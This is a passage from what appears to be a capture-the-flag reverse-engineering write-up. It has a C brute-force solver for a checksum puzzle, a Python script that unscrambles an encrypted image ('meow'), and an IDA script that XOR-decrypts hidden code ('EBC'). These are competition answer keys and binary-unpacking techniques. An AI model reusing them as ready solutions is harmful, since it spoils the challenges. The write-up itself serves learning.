<span class="hljs-keyword">int</span> bxor[<span class="hljs-number">8</span>] = {<span class="hljs-number">0x52</span>, <span class="hljs-number">0xc</span>, <span class="hljs-number">0x1</span>, <span class="hljs-number">0xf</span>, <span class="hljs-number">0x5c</span>, <span class="hljs-number">0x5</span>, <span class="hljs-number">0x53</span>, <span class="hljs-number">0x58</span>};
<span class="hljs-keyword">int</span> gsum[<span class="hljs-number">8</span>] = {<span class="hljs-number">0x129</span>, <span class="hljs-number">0x103</span>, <span class="hljs-number">0x12b</span>, <span class="hljs-number">0x131</span>, <span class="hljs-number">0x135</span>, <span class="hljs-number">0x10b</span>, <span class="hljs-number">0xff</span>, <span class="hljs-number">0xff</span>};
<span class="hljs-keyword">int</span> gxor[<span class="hljs-number">8</span>] = {<span class="hljs-number">0x1</span>, <span class="hljs-number">0x57</span>, <span class="hljs-number">0x7</span>, <span class="hljs-number">0xd</span>, <span class="hljs-number">0xd</span>, <span class="hljs-number">0x53</span>, <span class="hljs-number">0x51</span>, <span class="hljs-number">0x51</span>};
<span class="hljs-keyword">char</span> a[<span class="hljs-number">33</span>] = <span class="hljs-string">"AfOAO87OAOOAAOOAO2AOAAOOO4AOOOA5"</span>;
<span class="hljs-keyword">int</span> esum = <span class="hljs-number">1160</span>;
<span class="hljs-function"><span class="hljs-keyword">bool</span> <span class="hljs-title">checkeven</span><span class="hljs-params">()</span>
</span>{
<span class="hljs-keyword">int</span> sum = <span class="hljs-number">0</span>;
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i < <span class="hljs-number">32</span>; i += <span class="hljs-number">2</span>)
<span class="hljs-keyword">if</span> (a[i] == <span class="hljs-string">'A'</span> || a[i] == <span class="hljs-string">'O'</span>)
<span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
<span class="hljs-keyword">else</span>
sum += a[i];
<span class="hljs-keyword">return</span> sum == esum;
}
<span class="hljs-function"><span class="hljs-keyword">bool</span> <span class="hljs-title">checkbsum</span><span class="hljs-params">(<span class="hljs-keyword">int</span> p)</span>
</span>{
<span class="hljs-keyword">int</span> s = p / <span class="hljs-number">4</span> * <span class="hljs-number">4</span>;
<span class="hljs-keyword">int</span> sum = <span class="hljs-number">0</span>;
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = s; i < s + <span class="hljs-number">4</span>; ++i)
<span class="hljs-keyword">if</span> (a[i] == <span class="hljs-string">'A'</span> || a[i] == <span class="hljs-string">'O'</span>)
<span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
<span class="hljs-keyword">else</span>
sum += a[i];
<span class="hljs-keyword">return</span> sum == bsum[p / <span class="hljs-number">4</span>];
}
<span class="hljs-function"><span class="hljs-keyword">bool</span> <span class="hljs-title">checkbxor</span><span class="hljs-params">(<span class="hljs-keyword">int</span> p)</span>
</span>{
<span class="hljs-keyword">int</span> s = p / <span class="hljs-number">4</span> * <span class="hljs-number">4</span>;
<span class="hljs-keyword">int</span> sum = <span class="hljs-number">0</span>;
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = s; i < s + <span class="hljs-number">4</span>; ++i)
<span class="hljs-keyword">if</span> (a[i] == <span class="hljs-string">'A'</span> || a[i] == <span class="hljs-string">'O'</span>)
<span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
<span class="hljs-keyword">else</span>
sum ^= a[i];
<span class="hljs-keyword">return</span> sum == bxor[p / <span class="hljs-number">4</span>];
}
<span class="hljs-function"><span class="hljs-keyword">bool</span> <span class="hljs-title">checkgsum</span><span class="hljs-params">(<span class="hljs-keyword">int</span> p)</span>
</span>{
<span class="hljs-keyword">int</span> s = p % <span class="hljs-number">8</span>;
<span class="hljs-keyword">int</span> sum = <span class="hljs-number">0</span>;
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = s; i < <span class="hljs-number">32</span>; i += <span class="hljs-number">8</span>)
<span class="hljs-keyword">if</span> (a[i] == <span class="hljs-string">'A'</span> || a[i] == <span class="hljs-string">'O'</span>)
<span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
<span class="hljs-keyword">else</span>
sum += a[i];
<span class="hljs-keyword">return</span> sum == gsum[s];
}
<span class="hljs-function"><span class="hljs-keyword">bool</span> <span class="hljs-title">checkgxor</span><span class="hljs-params">(<span class="hljs-keyword">int</span> p)</span>
</span>{
<span class="hljs-keyword">int</span> s = p % <span class="hljs-number">8</span>;
<span class="hljs-keyword">int</span> sum = <span class="hljs-number">0</span>;
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = s; i < <span class="hljs-number">32</span>; i += <span class="hljs-number">8</span>)
<span class="hljs-keyword">if</span> (a[i] == <span class="hljs-string">'A'</span> || a[i] == <span class="hljs-string">'O'</span>)
<span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
<span class="hljs-keyword">else</span>
sum ^= a[i];
<span class="hljs-keyword">return</span> sum == gxor[s];
}
<span class="hljs-function"><span class="hljs-keyword">bool</span> <span class="hljs-title">check</span><span class="hljs-params">(<span class="hljs-keyword">int</span> p)</span>
</span>{
<span class="hljs-keyword">if</span> (p % <span class="hljs-number">2</span> == <span class="hljs-number">0</span>)
<span class="hljs-keyword">if</span> (!checkeven())
<span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
<span class="hljs-keyword">if</span> (!checkbsum(p))
<span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
<span class="hljs-keyword">if</span> (!checkbxor(p))
<span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
<span class="hljs-keyword">if</span> (!checkgsum(p))
<span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
<span class="hljs-keyword">if</span> (!checkgxor(p))
<span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
<span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
}
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">dfs</span><span class="hljs-params">(<span class="hljs-keyword">int</span> p)</span>
</span>{
<span class="hljs-keyword">if</span> (p == <span class="hljs-number">32</span>) {
<span class="hljs-built_in">puts</span>(a);
<span class="hljs-keyword">return</span>;
}
<span class="hljs-keyword">if</span> (a[p] == <span class="hljs-string">'A'</span>) {
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">char</span> c = <span class="hljs-string">'a'</span>; c <= <span class="hljs-string">'f'</span>; ++c)
<span class="hljs-keyword">if</span> (num[c - <span class="hljs-string">'a'</span> + <span class="hljs-number">10</span>]) {
--num[c - <span class="hljs-string">'a'</span> + <span class="hljs-number">10</span>];
a[p] = c;
<span class="hljs-keyword">if</span> (check(p))
dfs(p + <span class="hljs-number">1</span>);
a[p] = <span class="hljs-string">'A'</span>;
++num[c - <span class="hljs-string">'a'</span> + <span class="hljs-number">10</span>];
}
}
<span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (a[p] == <span class="hljs-string">'O'</span>) {
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">char</span> c = <span class="hljs-string">'0'</span>; c <= <span class="hljs-string">'9'</span>; ++c)
<span class="hljs-keyword">if</span> (num[c - <span class="hljs-string">'0'</span>]) {
--num[c - <span class="hljs-string">'0'</span>];
a[p] = c;
<span class="hljs-keyword">if</span> (check(p))
dfs(p + <span class="hljs-number">1</span>);
a[p] = <span class="hljs-string">'O'</span>;
++num[c - <span class="hljs-string">'0'</span>];
}
}
<span class="hljs-keyword">else</span>
dfs(p + <span class="hljs-number">1</span>);
}
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span>
</span>{
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i < <span class="hljs-number">32</span>; ++i)
<span class="hljs-keyword">if</span> (a[i] >= <span class="hljs-string">'a'</span> && a[i] <= <span class="hljs-string">'z'</span>)
--num[a[i] - <span class="hljs-string">'a'</span> + <span class="hljs-number">10</span>];
<span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (a[i] >= <span class="hljs-string">'0'</span> && a[i] <= <span class="hljs-string">'9'</span>)
--num[a[i] - <span class="hljs-string">'0'</span>];
dfs(<span class="hljs-number">0</span>);
<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}</code></pre><h3 id="meow"><a class="header-link" href="#meow"></a>meow</h3>
<p>we can dump the bytecode by nekoc.exe
read it and find the pic is 768*768, and the program call read_pixel twice then write_pixel twice.
so test it by all (0,0,0)
find the pixel equation is <code>p[ i, j ] = p[ o[i], j ] ^ t[ i, j ]</code>
so dump the t by all <code>(0,0,0)</code>
and dump the o by <code>p[i, j] = (0, i%256, i//256)</code>
we can decode it</p>
<pre class="hljs"><code><span class="hljs-keyword">from</span> PIL <span class="hljs-keyword">import</span> Image
<span class="hljs-keyword">with</span> open(<span class="hljs-string">"t"</span>, <span class="hljs-string">"rb"</span>) <span class="hljs-keyword">as</span> f:
t = f.read()
<span class="hljs-keyword">with</span> open(<span class="hljs-string">"o"</span>, <span class="hljs-string">"r"</span>) <span class="hljs-keyword">as</span> f:
o = f.readlines()
img = Image.open(<span class="hljs-string">"flag_enc.png"</span>)
p = img.load()
flag = Image.new(<span class="hljs-string">"RGBA"</span>, (<span class="hljs-number">768</span>, <span class="hljs-number">768</span>))
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">768</span>):
<span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range(<span class="hljs-number">768</span>):
tt = t[i*<span class="hljs-number">768</span>+j]
oo = int(o[i])
pp = p[i,j]
flag.putpixel((oo,j), (pp[<span class="hljs-number">0</span>]^tt, pp[<span class="hljs-number">1</span>]^tt, pp[<span class="hljs-number">2</span>]^tt, <span class="hljs-number">255</span>))
flag.save(<span class="hljs-string">"flag.png"</span>)
</code></pre><h3 id="ebc"><a class="header-link" href="#ebc"></a>EBC</h3>
<pre class="hljs"><code><span class="hljs-keyword">from</span> ida_bytes <span class="hljs-keyword">import</span> get_dword, patch_dword
code = <span class="hljs-number">0x401354</span>
magic = <span class="hljs-number">0x10028160</span>
<span class="hljs-comment">#ln, ptr = 0x2C0, 0x402114</span>
<span class="hljs-comment">#ln, ptr = 0x760, 0x4023DC</span>
<span class="hljs-comment">#ln, ptr = 0x830, 0x402B44</span>
ln, ptr = <span class="hljs-number">0x930</span>, <span class="hljs-number">0x40337C</span>
key = get_dword(ptr) ^ magic
print(<span class="hljs-string">'0x%08X'</span> % (key))
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> xrange(<span class="hljs-number">0</span>, ln, <span class="hljs-number">4</span>):
patch_dword(code + i, get_dword(ptr + i) ^ key)
</code></pre><pre class="hljs"><code><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><stdlib.h></span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><stdint.h></span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><string.h></span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><stdio.h></span></span>
<span class="hljs-keyword">uint64_t</span> ADD(<span class="hljs-keyword">uint64_t</span> a, <span class="hljs-keyword">uint64_t</span> b)
{
<span class="hljs-keyword">return</span> a + b;
}
<span class="hljs-keyword">uint64_t</span> SUB(<span class="hljs-keyword">uint64_t</span> a, <span class="hljs-keyword">uint64_t</span> b)
{
<span class="hljs-keyword">return</span> a - b;
}
<span class="hljs-keyword">uint64_t</span> XOR(<span class="hljs-keyword">uint64_t</span> a, <span class="hljs-keyword">uint64_t</span> b)
{
<span class="hljs-keyword">return</span> a ^ b;
}
<span class="hljs-keyword">uint64_t</span> OR(<span class="hljs-keyword">uint64_t</span> a, <span class="hljs-keyword">uint64_t</span> b)
{
<span class="hljs-keyword">return</span> a | b;
}
<span class="hljs-keyword">uint64_t</span> NOT(<span class="hljs-keyword">uint64_t</span> a, <span class="hljs-keyword">uint64_t</span> b)
{
<span class="hljs-keyword">return</span> ~a;
}
<span class="hljs-keyword">uint64_t</span> NEG(<span class="hljs-keyword">uint64_t</span> a, <span class="hljs-keyword">uint64_t</span> b)
{
<span class="hljs-keyword">return</span> <span class="hljs-number">0</span> - a;
}
<span class="hljs-keyword">uint64_t</span> SHL(<span class="hljs-keyword">uint64_t</span> a, <span class="hljs-keyword">uint64_t</span> b)
{
<span class="hljs-keyword">return</span> a << b;
}
<span class="hljs-keyword">uint64_t</span> SHR(<span class="hljs-keyword">uint64_t</span> a, <span class="hljs-keyword">uint64_t</span> b)
{
<span class="hljs-keyword">return</span> a >> b;
}
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">check1</span><span class="hljs-params">(<span class="hljs-keyword">uint64_t</span> R1)</span>
</span>{
<span class="hljs-keyword">uint64_t</span> R2, R3, R4, R5, R6, R7;
<span class="hljs-comment">// ...</span>
<span class="hljs-keyword">return</span> R1 == R7;
}
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">check2</span><span class="hljs-params">(<span class="hljs-keyword">uint64_t</span> R1)</span>
</span>{
<span class="hljs-keyword">uint64_t</span> R2, R3, R4, R5, R6, R7;
<span class="hljs-comment">// ...</span>
<span class="hljs-keyword">return</span> R1 == R7;
}
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">check3</span><span class="hljs-params">(<span class="hljs-keyword">uint64_t</span> R1)</span>
</span>{
<span class="hljs-keyword">uint64_t</span> R2, R3, R4, R5, R6, R7;
<span class="hljs-comment">// ...</span>
<span class="hljs-keyword">return</span> R1 == R7;